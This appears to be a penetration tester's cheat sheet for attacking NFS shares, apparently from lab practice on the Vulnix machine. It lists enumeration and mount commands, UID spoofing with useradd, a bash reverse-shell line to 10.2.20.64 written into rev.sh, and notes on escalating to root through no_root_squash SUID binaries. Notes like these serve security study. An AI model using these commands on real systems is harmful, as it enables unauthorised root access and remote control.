NFS ( 111 )

Resources

• By xakep (RU): Part 1 | Part 2
• By InfoSec Institute: Exploiting NFS Share
• By Juggernaut Sec: NFS no_root_squash
• By Christophetd: Vulnix Write-up
• By Tecmint: How to Setup NFS Server in Linux

Cheat sheet

• By secybr: https://secybr.com/posts/nfs-pentesting-best-practicies/
• By snovvcra: https://ppn.snovvcra.sh/pentest/infrastructure/nfs
• By hacktricks: https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html

Commands

• Scan for NFS services and run related Nmap scripts.

  nmap -sT -sV --script nfs* 10.2.20.18 -p111

• Use rpcinfo to confirm the NFS service is registered.

  rpcinfo -p 10.2.20.18 | grep nfs

• List the exported shares from the target.

  showmount -e 10.2.20.18

• View local NFS configuration.

  nfsconf --dump

• Create a local mount point.

  mkdir /mnt/share

• Mount the share, specifying a version.

  mount -o rw,vers=2 10.2.20.18:/home/vulnix /mnt/share
  mount -o rw,vers=3 10.2.20.18:/home/vulnix /mnt/share

• Alternative mount command, disabling file locking.

  mount -t nfs -o vers=2 10.10.x.x:/export/home /mnt/connect_path -o nolock

• Check that the mount was successful.

  df -h

• Unmount the share when finished.

  umount /mnt/share

• Read the NFS configuration file if accessible.

  cat /etc/exports

• UID Spoofing: Create a local user with a specific UID found on the server.

  useradd -u 2008 vulnix

• Create a reverse shell script on the mounted share.

  echo "bash -i >& /dev/tcp/10.2.20.64/1234 0>&1" > rev.sh

Notes

Key Terminology & Ports

• There is local & network mounting.
• /etc/exports → the primary config file.
• 111/tcp → The port where RPC shares service information.
• 2049/tcp → The port where NFS itself works.

Understanding root_squash

By default, NFS shares contain the root_squash flag. When you mount a share and create a test file, if the owner is nobody:nogroup, this means root_squash is enabled and secure. If you find that you are able to write as root on the share, that means no_root_squash is enabled. This is a privilege escalation path. You can create a SUID binary on the share, and as soon as you get a foothold on the machine, you can execute it to become root.

Critical Misconfigurations

• no_root_squash: This option gives authority to the root user on the client to access files on the NFS server as root. This can lead to serious security implications and is considered a critical vulnerability in real-world pentests.
• no_all_squash: This is similar to no_root_squash but applies to non-root users. It allows for UID spoofing. If you have a shell as nobody, you can check /etc/exports. If no_all_squash is present, check /etc/passwd for a valid user’s UID, create a local user with that same UID, and then create a SUID file on the share as that emulated user.

What's the difference in outcome?

• If root_squash is ON → You can become other users by UID spoofing, but not root directly.
• If root_squash is OFF (no_root_squash) → You can directly become root on the server.

NFS Version 2

Version 2 of the NFS protocol does not have any authentication or authorization mechanisms. If you can mount a share using vers=2, you can often access it without restriction.